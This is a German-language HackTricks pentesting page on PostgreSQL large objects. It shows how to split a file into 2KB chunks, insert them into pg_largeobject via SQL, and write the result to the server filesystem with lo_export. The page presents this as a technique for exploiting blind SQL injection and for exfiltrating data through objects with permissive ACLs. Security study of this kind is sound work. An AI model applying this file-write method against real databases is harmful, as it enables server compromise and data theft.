{{#include ../../../banners/hacktricks-training.md}} ### PostgreSQL Large Objects PostgreSQL bietet eine Struktur, die als **large objects** bekannt ist, die über die Tabelle `pg_largeobject` zugänglich ist und zum Speichern großer Datentypen wie Bilder oder PDF-Dokumente konzipiert wurde. Dieser Ansatz ist vorteilhaft gegenüber der Funktion `COPY TO`, da er die **Exportation von Daten zurück in das Dateisystem** ermöglicht und sicherstellt, dass eine exakte Kopie der Originaldatei erhalten bleibt. Um eine **komplette Datei** in dieser Tabelle zu speichern, muss ein Objekt in der Tabelle `pg_largeobject` erstellt werden (identifiziert durch eine LOID), gefolgt von der Einfügung von Datenchunks, die jeweils 2KB groß sind, in dieses Objekt. Es ist entscheidend, dass diese Chunks genau 2KB groß sind (mit der möglichen Ausnahme des letzten Chunks), um sicherzustellen, dass die Exportfunktion korrekt funktioniert. Um Ihre binären Daten in 2KB große Chunks zu **teilen**, können die folgenden Befehle ausgeführt werden: ```bash split -b 2048 your_file # Creates 2KB sized files ``` Um jede Datei in Base64 oder Hex zu kodieren, können die folgenden Befehle verwendet werden: ```bash base64 -w 0 # Encodes in Base64 in one line xxd -ps -c 99999999999 # Encodes in Hex in one line ``` **Wichtig**: Stellen Sie beim Automatisieren dieses Prozesses sicher, dass Sie 2KB große Blöcke von Klartext-Bytes senden. Hexadezimal codierte Dateien benötigen aufgrund der Verdopplung der Größe 4KB Daten pro Block, während Base64 codierte Dateien der Formel `ceil(n / 3) * 4` folgen. Die Inhalte der großen Objekte können zu Debugging-Zwecken angezeigt werden mit: ```sql select loid, pageno, encode(data, 'escape') from pg_largeobject; ``` #### Verwendung von `lo_creat` & Base64 Um binäre Daten zu speichern, wird zuerst ein LOID erstellt: ```sql SELECT lo_creat(-1); -- Creates a new, empty large object SELECT lo_create(173454); -- Attempts to create a large object with a specific OID ``` In Situationen, die präzise Kontrolle erfordern, wie z.B. beim Ausnutzen einer Blind SQL Injection, wird `lo_create` bevorzugt, um eine feste LOID anzugeben. Datenchunks können dann wie folgt eingefügt werden: ```sql INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('', 'base64')); ``` Um das große Objekt nach der Verwendung zu exportieren und möglicherweise zu löschen: ```sql SELECT lo_export(173454, '/tmp/your_file'); SELECT lo_unlink(173454); -- Deletes the specified large object ``` #### Verwendung von `lo_import` & Hex Die Funktion `lo_import` kann verwendet werden, um einen LOID für ein großes Objekt zu erstellen und anzugeben: ```sql select lo_import('/path/to/file'); select lo_import('/path/to/file', 173454); ``` Nach der Objekterstellung werden die Daten seitenweise eingefügt, wobei sichergestellt wird, dass jeder Block 2KB nicht überschreitet: ```sql update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0; update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=1; ``` Um den Prozess abzuschließen, werden die Daten exportiert und das große Objekt gelöscht: ```sql select lo_export(173454, '/path/to/your_file'); select lo_unlink(173454); -- Deletes the specified large object ``` ### Einschränkungen Es wird darauf hingewiesen, dass **große Objekte ACLs** (Access Control Lists) haben können, die den Zugriff selbst auf Objekte, die von Ihrem Benutzer erstellt wurden, potenziell einschränken. Ältere Objekte mit großzügigen ACLs können jedoch weiterhin für die Datenexfiltration zugänglich sein. {{#include ../../../banners/hacktricks-training.md}}